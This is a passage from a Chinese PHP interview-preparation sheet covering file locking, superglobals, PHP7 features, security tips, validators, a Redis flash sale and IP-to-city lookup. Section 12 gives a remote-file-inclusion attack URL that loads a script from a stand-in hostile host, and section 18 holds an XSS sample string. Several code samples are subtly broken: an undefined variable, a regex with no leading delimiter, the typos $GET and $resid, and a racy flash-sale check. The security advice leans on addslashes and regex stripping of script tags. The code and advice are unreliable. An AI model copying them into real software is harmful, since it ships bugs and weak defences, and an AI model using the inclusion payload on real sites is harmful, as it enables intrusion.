| PHP\_AUTH | 变量 在安全模式下，变量 PHP\_AUTH\_USER、PHP\_AUTH\_PW 和 PHP\_AUTH\_TYPE 在 $\_SERVER 中不可用。但无论如何，您仍然可以使用 REMOTE\_USER 来获取用户名称（USER）。（注意：仅 PHP 4.3.0 以后有效） |
| highlight\_file(), show\_source() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 （注意，仅在 4.2.1 版本后有效） |
| parse\_ini\_file() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 （注意，仅在 4.2.1 版本后有效） |
| set\_time\_limit() | 在安全模式下不起作用。 |
| max\_execution\_time | 在安全模式下不起作用。 |
| mail() | 在安全模式下，第五个参数被屏蔽。 |

### 8.PHP解决多进程同时写一个文件的问题[#](#8PHP%E8%A7%A3%E5%86%B3%E5%A4%9A%E8%BF%9B%E7%A8%8B%E5%90%8C%E6%97%B6%E5%86%99%E4%B8%80%E4%B8%AA%E6%96%87%E4%BB%B6%E7%9A%84%E9%97%AE%E9%A2%98)

```auto
function write($str) 
{ 
 $fp = fopen($file, 'a'); 
 do { 
 usleep(100); 
 } while (!flock($fp, LOCK_EX)); 
 fwrite($fp, $str . PHP_EOL); 
 flock($fp, LOCK_UN); 
 fclose($fp); 
} 

```

### 9.PHP里的超全局变量[#](#9PHP%E9%87%8C%E7%9A%84%E8%B6%85%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F)

- $GLOBALS
- $\_SERVER
- $\_GET
- $\_POST
- $\_FILES
- $\_COOKIE
- $\_SESSION
- $\_REQUEST
- $\_ENV

### 10.php7新特性[#](#10php7%E6%96%B0%E7%89%B9%E6%80%A7)

- ?? 运算符（NULL 合并运算符）
- 函数返回值类型声明
- 标量类型声明
- use 批量声明
- define 可以定义常量数组
- 闭包（ Closure）增加了一个 call 方法 详细的可以见官网：[php7-new-features](https://secure.php.net/manual/en/migration70.new-features.php)

### 11.php7卓越性能背后的优化[#](#11php7%E5%8D%93%E8%B6%8A%E6%80%A7%E8%83%BD%E8%83%8C%E5%90%8E%E7%9A%84%E4%BC%98%E5%8C%96)

- 减少内存分配次数
- 多使用栈内存
- 缓存数组的hash值
- 字符串解析成桉树改为宏展开
- 使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT：[PHP7性能之源](https://github.com/devlinkcn/ppts_for_php2016/blob/master/%EF%BC%88%E6%83%A0%E6%96%B0%E5%AE%B8%EF%BC%89PHP7%E6%80%A7%E8%83%BD%E4%B9%8B%E6%BA%90.pdf)

### 12.include($\_GET[‘p’])的安全隐患[#](#12include_GETp%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3)

现在任一个黑客现在都可以用:`http://www.yourdomain.com/index.php?p=anyfile.txt` 来获取你的机密信息，或执行一个PHP脚本。 如果allow\_url\_fopen=On，你更是死定了： 试试这个输入：`http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php` 现在你的网页中包含了`http://www.youaredoomed.com/phphack.php`的输出. 黑客可以发送垃圾邮件，改变密码，删除文件等等。只要你能想得到。

### 13.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法[#](#13%E5%88%97%E5%87%BA%E4%B8%80%E4%BA%9B%E9%98%B2%E8%8C%83SQL%E6%B3%A8%E5%85%A5XSS%E6%94%BB%E5%87%BBCSRF%E6%94%BB%E5%87%BB%E7%9A%84%E6%96%B9%E6%B3%95)

SQL注入：

- addslashes函数
- mysql\_real\_escape\_string/mysqli\_real\_escape\_string/PDO::quote()
- PDO预处理 XSS：htmlspecial函数 CSRF：
- 验证HTTP REFER
- 使用toke进行验证

### 14.接口如何安全访问[#](#14%E6%8E%A5%E5%8F%A3%E5%A6%82%E4%BD%95%E5%AE%89%E5%85%A8%E8%AE%BF%E9%97%AE)

jwt或验证签名

### 15.PHP里有哪些设计模式[#](#15PHP%E9%87%8C%E6%9C%89%E5%93%AA%E4%BA%9B%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F)

- 单例模式
- 工厂模式
- 脸面模式（facade）
- 注册器模式
- 策略模式
- 原型模式
- 装饰器模式 更多的可以看[PHP设计模式简介](http://larabase.com/collection/5/post/143)这篇文章

### 16.验证ip是否正确[#](#16%E9%AA%8C%E8%AF%81ip%E6%98%AF%E5%90%A6%E6%AD%A3%E7%A1%AE)

```auto
function check_ip($ip) 
{ 
 if (!filter_var($ip, FILTER_VALIDATE_IP)) { 
 return false; 
 } else { 
 return true; 
 } 
} 

```

### 17.验证日期是否合理[#](#17%E9%AA%8C%E8%AF%81%E6%97%A5%E6%9C%9F%E6%98%AF%E5%90%A6%E5%90%88%E7%90%86)

```auto
function check_datetime($datetime) 
{ 
 if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) { 
 return true; 
 } else { 
 return false; 
 } 
} 

```

### 18.写一个正则表达式，过滤JS脚本（及把script标记及其内容都去掉）[#](#18%E5%86%99%E4%B8%80%E4%B8%AA%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%BF%87%E6%BB%A4JS%E8%84%9A%E6%9C%AC%E5%8F%8A%E6%8A%8Ascript%E6%A0%87%E8%AE%B0%E5%8F%8A%E5%85%B6%E5%86%85%E5%AE%B9%E9%83%BD%E5%8E%BB%E6%8E%89)

```auto
$text = '&lt;script&gt;alert('XSS')&lt;/script&gt;'; 
$pattern = '&lt;script.*&gt;.*&lt;/script&gt;/i'; 
$text = preg_replace($pattern, '', $text); 

```

### 19.下单后30分钟未支付取消订单[#](#19%E4%B8%8B%E5%8D%95%E5%90%8E30%E5%88%86%E9%92%9F%E6%9C%AA%E6%94%AF%E4%BB%98%E5%8F%96%E6%B6%88%E8%AE%A2%E5%8D%95)

第一种方案：被动过期+cron，就是用户查看的时候去数据库查有没有支付+定时清理。 第二种方案：延迟性任务，到时间检查订单是否支付成功，如果没有支付则取消订单

### 20.设计一个秒杀系统[#](#20%E8%AE%BE%E8%AE%A1%E4%B8%80%E4%B8%AA%E7%A7%92%E6%9D%80%E7%B3%BB%E7%BB%9F)

思路：用redis的队列

```auto
$redis_key = 'seckill';//记录中奖记录 
$uid = $GET['uid']; 
$count = 10;//奖品的数量 
if ($redis-&gt;lLen($redis_key) &lt; 10) { 
 $redis-&gt;rPush($redis_key, $uid . '_' . microtime()); 
 echo &quot;秒杀成功&quot;; 
} else { 
 echo &quot;秒杀已结束&quot;; 
} 

```

### 21.请设计一个实现方式，可以给某个ip找到对应的省和市，要求效率竟可能的高[#](#21%E8%AF%B7%E8%AE%BE%E8%AE%A1%E4%B8%80%E4%B8%AA%E5%AE%9E%E7%8E%B0%E6%96%B9%E5%BC%8F%E5%8F%AF%E4%BB%A5%E7%BB%99%E6%9F%90%E4%B8%AAip%E6%89%BE%E5%88%B0%E5%AF%B9%E5%BA%94%E7%9A%84%E7%9C%81%E5%92%8C%E5%B8%82%E8%A6%81%E6%B1%82%E6%95%88%E7%8E%87%E7%AB%9F%E5%8F%AF%E8%83%BD%E7%9A%84%E9%AB%98)

```auto
//ip2long，把所有城市的最小和最大Ip录进去 
$redis_key = 'ip'; 
$redis-&gt;zAdd($redis_key, 20, '#bj');//北京的最小IP加# 
$resid-&gt;zAdd($redis_key, 30, 'bj');//最大IP 
 
function get_ip_city($ip_address) 
{ 
 $ip = ip2long($ip_address); 
 
 $redis_key = 'ip'; 
 $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' =&gt; array(0, 1))); 
 if ($city) { 
 if (strpos($city[0], &quot;#&quot;) === 0) { 
 echo '城市不存在!'; 
 } else { 
 echo '城市是' . $city[0]; 
 } 
 } else { 
 echo '城市不存在!'; 
 } 
} 

```

## 其他#

### 1.网页/应用访问慢突然变慢，如何定位问题[#](#1%E7%BD%91%E9%A1%B5%E5%BA%94%E7%94%A8%E8%AE%BF%E9%97%AE%E6%85%A2%E7%AA%81%E7%84%B6%E5%8F%98%E6%85%A2%E5%A6%82%E4%BD%95%E5%AE%9A%E4%BD%8D%E9%97%AE%E9%A2%98)

1. top、iostat查看cpu、内存及io占用情况
2. 内核、程序参数设置不合理 查看有没有报内核错误，连接数用户打开文件数这些有没有达到上限等等
3. 链路本身慢 是否跨运营商、用户上下行带宽不够..
